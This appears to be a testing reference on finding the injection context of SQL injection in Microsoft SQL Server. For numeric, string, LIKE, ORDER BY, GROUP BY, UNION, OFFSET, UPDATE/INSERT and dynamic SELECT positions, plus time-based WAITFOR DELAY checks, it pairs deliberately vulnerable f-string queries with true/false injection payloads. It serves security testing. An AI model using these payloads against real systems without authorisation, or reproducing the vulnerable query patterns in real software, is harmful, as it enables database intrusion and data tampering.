Testing
MSSQL injection-context testing
The injection context is the exact position occupied by input in the source query. A numeric expression, quoted string, ORDER BY expression, and OFFSET term accept different SQL grammar. Source review reveals that position directly; without source access, paired controls can identify it from application behavior.
Each example supplies two syntactically valid MSSQL inputs that differ only in one controlled result. A repeatable difference between the two responses confirms that the input changes SQL evaluation. A database error by itself proves only that malformed input reached some error path.
Numeric predicate
This pattern also covers numeric expressions inside WHERE, HAVING, and ON predicates.
query = f"SELECT id, name FROM items WHERE id = {user_input}"1 AND 1=1
1 AND 1=2The first control returns row 1; the second returns no rows.
Quoted-string predicate
query = f"SELECT id, username FROM users WHERE username = '{user_input}'"maria' AND 1=1-- -
maria' AND 1=2-- -The first control preserves the maria row and the second removes it. The comment consumes the source code’s closing quote.
LIKE predicate
query = f"SELECT id, name FROM items WHERE name LIKE '%{user_input}%'"%' AND 1=1-- -
%' AND 1=2-- -The first control leaves a match-all LIKE '%%' predicate followed by a true condition; the second makes the predicate false.
ORDER BY expression
query = f"SELECT id, name, count FROM items ORDER BY {user_input}"CASE WHEN 1=1 THEN count ELSE id END
CASE WHEN 1=2 THEN count ELSE id ENDThe first control sorts by count; the second sorts by id. Both branches use compatible numeric types and produce a deterministic comparison.
GROUP BY expression
query = f"SELECT COUNT(*) FROM items GROUP BY {user_input}"CASE WHEN 1=1 THEN category ELSE name END
CASE WHEN 1=2 THEN category ELSE name ENDWith repeated categories and unique names, the first control returns category-sized groups and the second returns one group per name.
UNION SELECT
query = f"SELECT id, name FROM items WHERE id = {user_input}"-1 UNION SELECT NULL,'sql-test'-- -
-1The first control adds a visible sql-test row and the second returns no rows. This source query has two output columns; a different query requires matching its column count and compatible MSSQL types.
OFFSET expression
query = f"SELECT id, name FROM items ORDER BY id OFFSET {user_input} ROWS FETCH NEXT 1 ROWS ONLY"(CASE WHEN 1=1 THEN 0 ELSE 1 END)
(CASE WHEN 1=2 THEN 0 ELSE 1 END)The first control returns the first ordered row and the second returns the next row.
Writable value expression
Use only a disposable lab row because both controls intentionally update data.
update_query = f"UPDATE items SET count = {user_input} WHERE id = 1"
insert_query = f"INSERT INTO items (count) VALUES ({user_input})"CASE WHEN 1=1 THEN 7 ELSE 8 END
CASE WHEN 1=2 THEN 7 ELSE 8 ENDReading the written row back shows 7 for the first control and 8 for the second.
Dynamic SELECT expression
query = f"SELECT {user_input} FROM users ORDER BY id"CASE WHEN 1=1 THEN username ELSE CAST(id AS NVARCHAR(4000)) END
CASE WHEN 1=2 THEN username ELSE CAST(id AS NVARCHAR(4000)) ENDThe returned values switch between username and the text form of id. A strict allowlist of column names prevents this expression context from being injectable.
Time-based confirmation
query = f"SELECT id, name FROM items WHERE id = {user_input}"1; WAITFOR DELAY '0:0:0'-- -
1; WAITFOR DELAY '0:0:5'-- -Both controls preserve row 1. The second control delays the response by approximately five seconds. This form requires stacked statement execution.
Find by: mssql, sql server, sql injection testing, source review, true false control, time based control, waitfor delay, where, having, on, quoted string, like, order by, group by, union select, offset fetch, insert update value, dynamic select